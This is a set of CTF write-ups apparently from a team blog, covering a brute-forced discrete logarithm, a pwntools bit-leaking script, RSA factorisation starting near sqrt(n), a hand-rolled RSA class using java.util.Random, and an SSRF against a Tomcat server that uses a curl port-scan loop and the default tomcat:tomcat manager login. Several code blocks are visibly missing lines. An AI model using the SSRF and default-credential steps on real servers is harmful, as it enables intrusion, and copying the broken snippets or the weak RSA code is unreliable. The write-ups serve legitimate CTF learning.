CTF: Solving nullcon crypto question 2

name:

Crypto Question 2

crypto

350

Writeup

The nullcon ctf competition ran this weekend, and the organizers managed to completely give away one of the crypto challenges by giving out a hint that made it trivial.

The problem was given as this image: problem

And the hint that gave the problem away was: Hint 2 : ‘a’ and ‘b’ both are less than 1000

By doing a simple iteration from 0 to 1000 we got two possible answers for both a and b.

``````        BigInteger q = new BigInteger("541");
BigInteger g = new BigInteger("10");
for(int i = 0; i < 1000; i++) {
BigInteger a = g.modPow(BigInteger.valueOf(i), q);

if(a.equals(BigInteger.valueOf(298)))
System.out.println("a = " + i);

if(a.equals(BigInteger.valueOf(330)))
System.out.println("b = " + i);
}
``````

gave us the output:

``````a = 170
b = 268
a = 710
b = 808
``````

And that gave us four possible values for the flag, which was: flag{170,808}

CTF: Solving Leaky Bits

name:

Iran - Leaky Bits

pwn

100

Writeup

The team from xil.se have written a challenge that’s called leaky bits, and as the name implies it’s all about leaking the data that we need, one bit at a time.

Drip, Drop, Drip, Drop.

Play the challenge here: telnet ctf1.xil.se 4500

Solution

``````from pwn import *

context(arch = 'x86_64', os = 'linux')

bits = ""
for i in range(8):
t.recvregex('Where do you want to leak\?')
bits = t.recvregex('look: \d')[-1] + bits
return int(bits, 2)

with context.local(log_level='info'):
tube = remote('ctf1.xil.se', 4500)

# a quick check with r2 reveals the flag location in the binary

bytes = []
for c in range(30):

print "\n\nFlag is", "".join([chr(c) for c in bytes]), "\n\n"

tube.interactive()
``````

Coproduced with the League of Extraordinarily Backward Engineers

CTF: How to break large keys

crypto

300

Writeup

The next crypto challenge from xil.se is one called “Big Friendly Key”, and is also about RSA. It can be played here: nc ctf1.xil.se 4200

We are presented with a large public key that we need to factorize in order to calculate the private key, and be able to get the flag.

The public key we get is 2466 characters long, so implementing the factorization with Sieve of Eratosthenes and a for loop is not possible. We need to be smarter than that in order to retrieve the factors.

In RSA the public key (often denominated as ‘n’) is the result of multiplying two large primes together (‘p’ and ‘q’). This means that min(p, q) < sqrt(n), and that the primes will be about the same distance from sqrt(n) on the number line.

So if we start the factorization attempt from sqrt(n) instead of from 0, the number of checks we need to do will be smaller, and this turned out to be the key to solving the challenge.

Solution

``````public class App {

public static void main(String[] args) throws IOException {
BigInteger n = new BigInteger("416169672835081282998769137494773685438037552023727931365543107088305449322247098366362038692812865577864709412723942223262235657896039670548400775875502028244264086890258015614848039147585802253777721057085933553667884397355523033992420423284512368275620282484094800790255015050756472656528857875999415430288567423780696211101919244912731503020484259003956337445150970055069757551101607907780613344889259107459445808657708831819381883285898284907897313618472636990460629017854905120909079954395786865840376714813786450281041170987118610395891985542340051585428437191463408723549970260034504586057040797250819326016820697616235229363296975478685433918791355651467874485746685099986055301279284955200395776734258332572835932083332856553673655850102559207899227139085205860354580779850684429350768269994299853444422476808708374995020858371165582000842160879753115440201557027979009440356196081610804628948780339914622568740577566087705257452487267706177803860765522414266994340984200477614843276175866858932704564210543652217970461273891796710727593851152911486039926569939900592536340038308452714618150868179181006388336269453119942468050655123824437606190555497689932978735733100729454571569556557771448695435528117859363478476323288338512444882311138112761797930425501220150246154689439030391577355501884478973374616451073759109853746483677174774270766488239603018594423965306557818505255243993124125139257139919436717463399671528187365798314738132565884696713061488284993730692922167364349151035630702440112627149237476193121818350316293630392651858322832247517813373131406421917108857822815534220217972051555808348581966584448065510164481154556002780432710646949488310076918006368654072183058127889013653568505330352570061526436992948530207134330408423688546569615629750532701608383701353461837899262357791597625952593072110698318475020884429832660133752929456719383958651179066074022478732887480285411790448473660710941722415189387461675252239724078742557909692093484138954948275709283080017144368633872142836542025748354826963031206732971747529200698437611832101282505298057318219172294987426573876634241665988827454046578492923496729283920998800756322041408438934304101642860537718379580856109416040521527597372118585064105190092935438199571174655466342465334401702047906278349808648695633798302876948729915991836520484724328030526726201691610370037201026223423773609048447805646265048564126073072591007202942226771180473432116602751135532294757300663257956983", 10);
BigInteger p = new BigInteger("645112139736248710905676333261885435188347497319853763606697604578494999341572061985503959419410566322310156476156532708370066894108978912704095835570392868833208397928599715227100416938948855617976721706666152059398906196547451371132294976690648179164352468186844510815737678942851859362022890784482847574758980008803674772758843737968522391795799201104385009789468663103248453930536139987565601523421164080780964587877154114977309374691939189662099763103839285673927206638757408747159139589670811906179480473019937352377673319453740094148975105063034183547333008036088441459560427579741536617804393215231569845372627149607952334434949008746580225497230343424268239460690071064167808060147354361356353965259468495036682660405631547021679023005834182430173342276893060574471211477101864674832495896494954808679606105893087511442395500662760257637261789415476874532660163983761982977746084239780846131607316690232497385719313120112203549865788731061699332852564753659818450181160926404440143485191554632425853822187540540330875499721577244724605126385483995297255769250448748603906191835581928447198324376499223489573053014677969815076536504143378050499085751727671555574912614578341849411731846770158151769540347683868871667691460197");
BigInteger q = new BigInteger("645112139736248710905676333261885435188347497319853763606697604578494999341572061985503959419410566322310156476156532708370066894108978912704095835570392868833208397928599715227100416938948855617976721706666152059398906196547451371132294976690648179164352468186844510815737678942851859362022890784482847574758980008803674772758843737968522391795799201104385009789468663103248453930536139987565601523421164080780964587877154114977309374691939189662099763103839285673927206638757408747159139589670811906179480473019937352377673319453740094148975105063034183547333008036088441459560427579741536617804393215231569845372627149607952334434949008746580225497230343424268239460690071064167808060147354361356353965259468495036682660405631547021679023005834182430173342276893060574471211477101864674832495896494954808679606105893087511442395500662760257637261789415476874532660163983761982977746084239780846131607316690232497385719313120112203549865788731061699332852564753659818450181160926404440143485191554632425853822187540540330875499721577244724605126385483995297255769250448748603906191835581928447198324376499223489573053014677969815076536504143378050499085751727671555574912614578341849411731846770158151769540347683868871667691456939");

BigInteger e = new BigInteger("65537", 10);

RSA rsa = new RSA(p, q, e);

Socket attackTarget = new Socket("ctf1.xil.se", 4200);
PrintWriter out = new PrintWriter(attackTarget.getOutputStream(), true);

Pattern messageP = Pattern.compile(".*'(.*)'.*");

String in1;
out.println("2");
Matcher m = messageP.matcher(in1);
m.matches();
out.println(new BigInteger(m.group(1).getBytes(StandardCharsets.ISO_8859_1)).modPow(rsa.getD(), n).toString(16));

System.out.println("flag: " + new String(new BigInteger(in1.substring(6), 16).modPow(rsa.getD(), rsa.getN()).toByteArray()));
}
}
``````

Image credit

CTF: Don't try RSA at home

name:

Sudan - RSA is for everyone

crypto

100

Writeup

Our friends over at xil.se have written some challenges for a ctf named smash the stack at https://ctf.anti-network.org/

The challenge “RSA is for everyone” required you to send and retrieve messages with RSA. Fortunately it is really easy to implement RSA yourself in java (don’t try this at home kids).

The class for getting the RSA primitives looks like this (some code shamelessly stolen from Stack Overflow, like all real programmers do):

``````public class RSA {
private final BigInteger p;
private final BigInteger q;
private final BigInteger n;
private final BigInteger d;
private final BigInteger e;

public RSA() {
int SIZE = 512;

/* Step 1: Select two large prime numbers. Say p and q. */
p = new BigInteger(SIZE, 15, new Random());
q = new BigInteger(SIZE, 15, new Random());

/* Step 2: Calculate n = p.q */
n = p.multiply(q);

/* Step 3: Calculate ø(n) = (p - 1).(q - 1) */
BigInteger phiN = p.subtract(BigInteger.valueOf(1));
phiN = phiN.multiply(q.subtract(BigInteger.valueOf(1)));

BigInteger eTmp;
/* Step 4: Find e such that gcd(e, ø(n)) = 1 ; 1 < e < ø(n) */
do {
eTmp = new BigInteger(2 * SIZE, new Random());
} while ((eTmp.compareTo(phiN) != 1) || (eTmp.gcd(phiN).compareTo(BigInteger.valueOf(1)) != 0));
e = eTmp;

/* Step 5: Calculate d such that e.d = 1 (mod ø(n)) */
d = e.modInverse(phiN);
}

public BigInteger getP() {
return p;
}

public BigInteger getQ() {
return q;
}

public BigInteger getN() {
return n;
}

public BigInteger getD() {
return d;
}

public BigInteger getE() {
return e;
}
}

``````

With that in hand it was easy to respond to the questions in the challenge.

Solution

``````public class App {

public static void main(String[] args) throws IOException {
Socket attackTarget = new Socket("ctf1.xil.se", 4300);
PrintWriter out = new PrintWriter(attackTarget.getOutputStream(), true);

BigInteger n;
BigInteger e;
RSA rsa = new RSA();

String in1;
out.println("1");
n = new BigInteger(in1.substring(2));
e = new BigInteger(in1.substring(2));
out.println("2");
out.println(new BigInteger("RSA is for everyone".getBytes(StandardCharsets.ISO_8859_1)).modPow(e, n).toString(16));
out.println(rsa.getN().toString(10));
out.println(rsa.getE().toString(10));

System.out.println("flag: " + new String(new BigInteger(in1, 16).modPow(rsa.getD(), rsa.getN()).toByteArray()));
}
}
``````

CTF: Solving smarttomcat challenge from Insomnihack Teaser 2017

web

50

Writeup

The Insomni’hack teaser 2017 was a fun CTF with a good spread between easy and hard challenges.

The smarttomcat challenge was an easy web challenge that was about attacking a badly secured tomcat server, as a user you where presented with a webpage that had an backend written in php, that backend called a tomcat server on localhost.

When looking at the form post data from the browser it became apparant that the url that the backend called was submitted by the form.

This enabled us to write a port scan as a simple bash loop:

``````for x in \$(seq 1 65535); do echo \$x >> /tmp/log && curl 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data "u=http%3A%2F%2Flocalhost%3A\$x%2F" >> /tmp/log;done
``````

This didn’t really help us. And we realized that we could access the tomcat management url on the same port as the rest of the application. A simple google gave us the default username and password.

Solution

``````curl 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data 'u=http://tomcat:tomcat@127.0.0.1:8080/manager/html'
``````